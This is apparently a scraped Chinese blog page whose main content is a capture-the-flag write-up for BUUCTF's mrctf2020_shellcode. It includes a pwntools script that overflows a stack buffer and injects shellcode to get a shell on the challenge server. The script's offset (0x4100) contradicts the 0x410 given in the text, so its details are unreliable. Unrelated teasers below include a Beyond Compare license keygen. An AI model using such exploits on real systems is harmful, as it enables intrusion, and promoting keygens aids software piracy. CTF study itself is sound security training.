news 2026/3/28 0:25:37

buuctf中的mrctf2020_shellcode

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的mrctf2020_shellcode

首先checksec检查保护机制:

-64位程序

-got表不可写,地址不固定

接下来使用IDA反汇编分析:

这里我这里反汇编不了,所以只能看汇编代码了,首先看到buf的长度为0x410,下面调用了puts函数和read函数,read函数则是读入了0x400个字节的数据到buf中,由于上面没有开启NX保护,所以考虑shellcode注入,虽然read只读入了400个数据,但是依旧可以触发栈溢出

下面可以看到retn前并没有pop rbp,也就是说这里并没有rbp,所以偏移就是buf的长度即0x410

这里先在gdb中运行程序后输入i r查看寄存器信息:

那到rsp也就是栈基地址,下面的shellcode就是注入在这里

基本信息拿完就可以写攻击脚本了:

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27977) # 与在线环境交互。 shellcode = asm(shellcraft.sh()) offset = 0x4100 buf_addr = 0x7fffffffdaf8 payload = shellcode.ljust(offset,b'a') + p64(buf_addr) io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后手动输入cat flag拿到flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/27 1:47:00

2个强力激活方案:Beyond Compare 5授权码生成的完整指南

2个强力激活方案:Beyond Compare 5授权码生成的完整指南 【免费下载链接】BCompare_Keygen Keygen for BCompare 5 项目地址: https://gitcode.com/gh_mirrors/bc/BCompare_Keygen 当Beyond Compare 5的30天评估期结束时,用户将面临功能限制的困扰…

作者头像 李华
网站建设 2026/3/27 5:04:12

Z-Image-Turbo_UI界面性能提升秘籍:加载更快更稳定

Z-Image-Turbo_UI界面性能提升秘籍:加载更快更稳定 1. 为什么UI卡顿不是你的错,而是可优化的工程问题 你是否遇到过这样的情况:刚启动 Z-Image-Turbo_UI,浏览器打开 http://localhost:7860 后,页面空白等待超过15秒&…

作者头像 李华
网站建设 2026/3/27 11:47:39

3分钟解决!彻底告别Windows热键冲突的实用指南

3分钟解决!彻底告别Windows热键冲突的实用指南 【免费下载链接】hotkey-detective A small program for investigating stolen hotkeys under Windows 8 项目地址: https://gitcode.com/gh_mirrors/ho/hotkey-detective 你是否经历过这样的时刻:按…

作者头像 李华
网站建设 2026/3/27 2:29:49

LogViewer:革新性日志分析工具效率倍增指南

LogViewer:革新性日志分析工具效率倍增指南 【免费下载链接】LogViewer 项目地址: https://gitcode.com/gh_mirrors/logvie/LogViewer 在日常开发和系统维护中,日志分析是定位问题的关键环节,但传统工具往往面临三大痛点:…

作者头像 李华
网站建设 2026/3/27 20:27:48

旧Mac升级完全指南:突破硬件限制的系统破解与优化教程

旧Mac升级完全指南:突破硬件限制的系统破解与优化教程 【免费下载链接】OpenCore-Legacy-Patcher 体验与之前一样的macOS 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher 旧Mac设备因硬件限制无法升级最新系统?通过O…

作者头像 李华
网站建设 2026/3/27 2:49:02

Switch大气层系统深度配置指南:从故障排查到性能优化

Switch大气层系统深度配置指南:从故障排查到性能优化 【免费下载链接】Atmosphere-stable 大气层整合包系统稳定版 项目地址: https://gitcode.com/gh_mirrors/at/Atmosphere-stable 大气层系统作为Switch定制固件的佼佼者,为玩家提供了丰富的功能…

作者头像 李华